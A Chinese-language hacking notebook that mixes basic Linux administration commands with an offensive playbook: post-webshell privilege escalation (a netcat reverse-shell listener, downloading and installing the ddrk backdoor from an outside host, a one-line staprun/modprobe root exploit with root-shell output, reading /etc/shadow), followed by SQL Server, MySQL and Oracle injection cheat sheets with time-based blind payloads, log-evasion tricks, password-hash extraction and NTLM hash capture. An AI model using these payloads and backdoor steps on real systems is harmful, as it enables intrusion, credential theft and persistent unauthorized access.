6.查看当前shell堆栈:echo $SHLVL
7.< / >:输入/输出重定向;|:管道左的输入是管道右输入

六.用户帐号类
1.增加用户帐号:(1)用 户 名:adduser 用户帐号名
(2)设置密码: passwd 用户帐号名
2.删除用户帐号:userdel 用户帐号名
3.增加用户组:groupadd 用户组名
4.删除用户组:groupdel 用户组名
5.暂时终止用户帐号:passwd -l 用户帐号名
6.恢复被终止帐号:passwd -u 用户帐号名
7.权限设定
(1)chmod -a|u|g|o |-|=r|w|x 文件/目录名
其中:a--所有用户(all);u--本用户(user);g--用户组(group);o--其他用户(other users)
--增加权限;---删除权限;=--设置权限
文件:r--只读权限(read);w--写权限(write);x--执行权限(execute)
目录:r--允许列目录下文件和子目录;w--允许生成和删除目录下文件;x--允许访问该目录
(2)chmod xxx 文件/目录名
其中:execute=1;write=2;read=4
x取值:0--没有任何权限(常用);1--只能执行(不常见);2--只能写(不常见);3--只能写和执行(不常见);4--只读(常见);5--只读和执行(常见);6--读和写(常见);7--读.写和执行

七.vi编辑类
1.进入后为命令模式:(1)插入i;(2)打开0;(3)修改c;(4)取代r;(5)替换s
2.经(1)后进入全屏幕编辑模式。
3.命令模式-->编辑模式(a/i);编辑模式-->命令模式(Esc);命令模式-->末行模式(:)。
4.:w/w newfile保存
5.:q/q!退出iv;:wq保存退出

八.网络服务
1.显示网络接口参数:ifconfig
2.显示系统邮件:mail
3.启动/终止web服务:httpd -k start|stop|restart
4.查看网络状况:(1)联机状况:ping xxx.xxx.xxx.xxx;
(2)显示网络状况:netstat ,其中:options:-a==所有sockets;-l==包含网络设备;-n==数字IP;
-o==其他信息;-r==路由表;-t==只列TCP sockets;-u==只列UDP sockets;-w==只列raw sockets;
-x==只列Unix Domain sockets

九.其他类
1.显示显卡3D信息:glxinfo和glxgears

提权常用方面

反弹用的
nc -vv -l -p 443 nc端口转发
下载文件
wget     下载编译文件。
gcc 编译
cd /etc   这个就不说了
ls -la    同上
adduser fans (用户名) 加用户
passwd 用户名 密码
cat /etc/shadow 查看文件
chmod 777 文件或目录  赋权
chmod 777 * cat /etc/ | grep 关键字
uname -a 版本
sysctl 内核
server 服务器
id 用户组
cat shadow 看hash
pwd 目录
gcc hoolyshit.c -o hoolyshit 编译

webshell后提权方面思路

一。反弹cmdline shell
直接使用webshell中的反弹回来,本地nc监听nc -vlp 12666
二。提权为root
uname -a 查看内核版本 寻找相应的exp提权
三。安装ddrk后门
wget http://www.xx.com/ddrk.tgz
tar zxvf ddrk.tgz
cd ddrk
./setup pass port
一句话提权命令:
[b@fuckks~]$ printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTI*****="-C exploit.conf" staprun -u whatever
sh-3.2# uname -a
Linux xlsec 2.6.18-194.el5 #1 SMP Tue Mar 16 21:52:43 EDT 2010 i686 i686 i386 GNU/Linux
sh-3.2# cat /etc/redhat-release
Red Hat Enterprise Linux Server release 5.5 (Tikanga)
sh-3.2#

系统信息方面

系统
# uname -a # 查看内核/操作系统/CPU信息
# head -n 1 /etc/issue # 查看操作系统版本
# cat /proc/cpuinfo # 查看CPU信息
# hostname # 查看计算机名
# lspci -tv # 列出所有PCI设备
# lsusb -tv # 列出所有USB设备
# lsmod # 列出加载的内核模块
# env # 查看环境变量
资源
# free -m # 查看内存使用量和交换区使用量
# df -h # 查看各分区使用情况
# du -sh # 查看指定目录的大小
# grep MemTotal /proc/meminfo # 查看内存总量
# grep MemFree /proc/meminfo # 查看空闲内存量
# uptime # 查看系统运行时间、用户数、负载
# cat /proc/loadavg # 查看系统负载
磁盘和分区
# mount | column -t # 查看挂接的分区状态
# fdisk -l # 查看所有分区
# swapon -s # 查看所有交换分区
# hdparm -i /dev/hda # 查看磁盘参数(仅适用于IDE设备)
# dmesg | grep IDE # 查看启动时IDE设备检测状况
网络
# ifconfig # 查看所有网络接口的属性
# iptables -L # 查看防火墙设置
# route -n # 查看路由表
# netstat -lntp # 查看所有监听端口
# netstat -antp # 查看所有已经建立的连接
# netstat -s # 查看网络统计信息
进程
# ps -ef # 查看所有进程
# top # 实时显示进程状态
用户
# w # 查看活动用户
# id # 查看指定用户信息
# last # 查看用户登录日志
# cut -d: -f1 /etc/passwd # 查看系统所有用户
# cut -d: -f1 /etc/group # 查看系统所有组
# crontab -l # 查看当前用户的计划任务
服务
# chkconfig --list # 列出所有系统服务
# chkconfig --list | grep on # 列出所有启动的系统服务
程序
# rpm -qa # 查看所有安装的软件包
转自:https://www.t00ls.net/thread-39774-1-1.html

SQL注入速查表(下)与Oracle注入速查表

一、SQL注入速查表(下)
0x00 目录

盲注
    关于盲注
    实战中的盲注实例
延时盲注
    WAITFOR DELAY [time](S)
    实例
    BENCHMARK()(M)
    实例
    pg_sleep(seconds)(P)
掩盖痕迹
    -sp_password log bypass(S)
注入测试
一些其他的MySQL笔记
    MySQL中好用的函数
SQL注入的高级使用
    强制SQL Server来得到NTLM哈希
    Bulk insert UNC共享文件 (S) 

0x01 盲注
关于盲注

一个经过完整而优秀开发的应用一般来说你是看不到错误提示的,所以你是没办法从Union攻击和错误中提取出数据的

一般盲注,你不能在页面中看到响应,但是你依然能同个HTTP状态码得知查询的结果

完全盲注,你无论怎么输入都完全看不到任何变化。你只能通过日志或者其它什么的来注入。虽然不怎么常见。

在一般盲注下你能够使用If语句或者WHERE查询注入*|(一般来说比较简单)*,在完全盲注下你需要使用一些延时函数并分析响应时间。为此在SQL Server中你需要使用WAIT FOR DELAY '0:0:10',在MySQL中使用BENCHMARK(),在PostgreSQL中使用pg_sleep(10),以及在ORACLE中的一些PL/SQL小技巧。
实战中的盲注实例

以下的输出来自一个真实的私人盲注工具在测试一个SQL Server后端应用并且遍历表名这些请求完成了第一个表的第一个字符。由于是自动化攻击,SQL查询比实际需求稍微复杂一点。其中我们使用了二分搜索来探测字符的ASCII码。

TRUE和FALSE标志代表了查询返回了true或false

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

由于上面后两个查询都是false,我们能清楚的知道表名的第一个字符的ASCII码是80,也就是"P"。这就是我们通过二分算法来进行盲注的方法。其他已知的方法是一位一位(bit by bit)地读取数据。这些方法在不同条件下都很有效。
延时盲注

首先,只在完全没有提示(really blind)的情况下使用,否则请使用1/0方式通过错误来判断差异。其次,在使用20秒以上的延时时要小心,因为应用与数据库的连接API可能会判定为超时(timeout)。
WAITFOR DELAY time

这就跟sleep差不多,等待特定的时间。通过CPU来让数据库进行等待。

WAITFOR DELAY '0:0:10'--

你也可以这样用

WAITFOR DELAY '0:0:0.51'

实例

俺是sa吗? if (select user) = 'sa' waitfor delay '0:0:10'
ProductID =1;waitfor delay '0:0:10'--
ProductID =1);waitfor delay '0:0:10'--
ProductID =1';waitfor delay '0:0:10'--
ProductID =1');waitfor delay '0:0:10'--
ProductID =1));waitfor delay '0:0:10'--
ProductID =1'));waitfor delay '0:0:10'--

BENCHMARK()(M)

一般来说都不太喜欢用这个来做MySQL延时。小心点用因为这会极快地消耗服务器资源。

BENCHMARK(howmanytimes, do this)

实例

俺是root吗?爽! IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))

判断表是否存在 IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds)(P)

睡眠指定秒数。

SELECT pg_sleep(10);睡个十秒

掩盖痕迹
-sp_password log bypass(S)

出于安全原因,SQL Server不会把含有这一选项的查询日志记录进日志中(!)。所以如果你在查询中添加了这一选项,你的查询就不会出现在数据库日志中,当然,服务器日志还是会有的,所以如果可以的话你可以尝试使用POST方法。
0x02 注入测试

这些测试既简单又清晰,适用于盲注和悄悄地搞。

product.asp?id=4 (SMO)
    product.asp?id=5-1
    product.asp?id=4 OR 1=1

product.asp?name=Book
    product.asp?name=Bo’%2b’ok
    product.asp?name=Bo’ || ’ok (OM)
    product.asp?name=Book’ OR ‘x’=’x

0x03 一些其他的MySQL笔记

子查询只能在MySQL4.1+使用
用户
    SELECT User,Password FROM mysql.user;
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
SELECT ... INTO DUMPFILE
    把查询写入一个新文件中(不能修改已有文件)
UDF功能
    create function LockWorkStation returns integer soname 'user32';
    select LockWorkStation();
    create function ExitProcess returns integer soname 'kernel32';
    select exitprocess();
SELECT USER();
SELECT password,USER() FROM mysql.user;

admin密码哈希的第一位
    SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;

文件读取
    query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

MySQL读取文件内容

    默认这个功能是没开启的!

    create table foo( line blob ); 
    load data infile 'c:/boot.ini' into table foo; 
    select * from foo;

MySQL里的各种延时

select benchmark( 500000, sha1( 'test' ) ); query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
遍历数据,暴力猜解
    select if( (ascii(substring(user(),1,1)) >> 7) & 1,benchmark(100000,sha1('test')), 'false' );

MySQL中好用的函数

MD5()

MD5哈希

SHA1()

SHA1哈希

PASSWORD()

ENCODE()

COMPRESS()

压缩数据,在盲注时读取大量数据很好用

ROW_COUNT()

SCHEMA()

VERSION()

跟@@version是一样的

SQL注入的高级使用

一般来说你在某个地方进行SQL注入并期望它没有过滤非法操作,而这则是一般人注意不到的层面(hidden layer problem)

Name:' + (SELECT TOP 1 password FROM users ) + '

Email : xx@xx.com

如果应用在name表格中使用了不安全的储存方法或步骤,之后它就会把第一个用户的密码写进你的name里面。
强制SQL Server来得到NTLM哈希

这个攻击能够帮助你得到目标SQL服务器的Windows密码,不过你的连接很可能会被防火墙拦截。这能作为一个很有用的入侵测试。我们强制SQL服务器连接我们的WindowsUNC共享并通过抓包软件(Cain & Abel)捕捉NTLM session。
Bulk insert UNC共享文件 (S)

bulk insert foo from '\YOURIPADDRESS\C$\x.txt'
二、Oracle注入速查表

本文由Yinzo翻译,转载请保留署名。原文地址:http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet

注:下面的一部分查询只能由admin执行,我会在查询的末尾以"-priv"标注。

探测版本:

SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;
SELECT version FROM v$instance;

注释:

SELECT 1 FROM dual — comment

注: Oracle的SELECT语句必须包含FROM从句,所以当我们并不是真的准备查询一个表的时候,我们必须使用一个假的表名‘dual’

当前用户:

SELECT user FROM dual

列出所有用户:

SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; — priv

列出密码哈希:

SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus能够在acct被锁定的状态下给你反馈
SELECT name,spare4 FROM sys.user$ — priv, 11g

密码破解:

checkpwd能够把Oracle8,9,10的基于DES的哈希破解掉

列出权限:

SELECT * FROM session_privs; —当前用户的权限
SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, 列出指定用户的权限
SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, 找到拥有某个权限的用户
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;

列出DBA账户:

SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, 列出DBA和对应权限

当前数据库:

SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;

列出数据库:

SELECT DISTINCT owner FROM all_tables; — 列出数据库 (一个用户一个)

– 通过查询TNS监听程序能够查询到其他数据库.详情看tnscmd。

列出字段名:

SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;

列出表名:

SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;

通过字段名找到对应表:

SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’;

— 注: 表名都是大写

查询第N行:

SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数)

查询第N个字符:

SELECT substr(‘abcd’, 3, 1) FROM dual; — 得到第三个字符‘c’

按位与(Bitwise AND):

SELECT bitand(6,2) FROM dual; — 返回2
SELECT bitand(6,1) FROM dual; — 返回0

ASCII值转字符:

SELECT chr(65) FROM dual; — 返回A

字符转ASCII码:

SELECT ascii(‘A’) FROM dual; — 返回65

类型转换:

SELECT CAST(1 AS char) FROM dual;
SELECT CAST(’1′ AS int) FROM dual;

拼接字符:

SELECT ‘A’ || ‘B’ FROM dual; — 返回AB

IF语句:

BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

— 跟SELECT语句在一起时不太管用

Case语句:

SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — 返回1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — 返回2

绕过引号:

SELECT chr(65) || chr(66) FROM dual; — 返回AB

延时:

BEGIN DBMS_LOCK.SLEEP(5); END; — priv, 在SELECT中用不了
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — 如果反查很慢
SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — 如果正查很慢
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — 如果发送TCP包被拦截或者很慢

— 更多关于延时的内容请看Heavy Queries

发送DNS请求:

SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;

命令执行:

如果目标机装了JAVA就能执行命令,看这里

有时候ExtProc也可以,不过我一般都成功不了,看这里

本地文件读取:

UTL_FILE有时候能用。如果下面的语句没有返回null就行。

SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;

JAVA能用来读取和写入文件,除了Oracle Express

主机名称、IP地址:

SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; — 查IP
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — 查主机名称

定位DB文件:

SELECT name FROM V$DATAFILE;

默认系统和数据库:

SYSTEM
SYSAUX

额外小贴士:

一个字符串列出所有表名:

select rtrim(xmlagg(xmlelement(e, table_name || ‘,’)).extract(‘//text()’).extract(‘//text()’) ,’,') from all_tables

– 当你union联查注入的时候只有一行能用与返回数据时使用

盲注排序:

order by case when ((select 1 from user_tables where substr(lower(table_name), 1, 1) = ‘a’ and rownum = 1)=1) then column_name1 else column_name2 end

— 你必须知道两个拥有相同数据类型的字段名才能用

译者注: Oracle注入速查表的作者这边还有MSSQL、MySQL、PostgreSQL、Ingres、DB2、Informix等数据库的速查表,不过我看Drops里面MSSQL和MySQL都已经有比较好的文章了,所以如果有需求的话请在评论留言。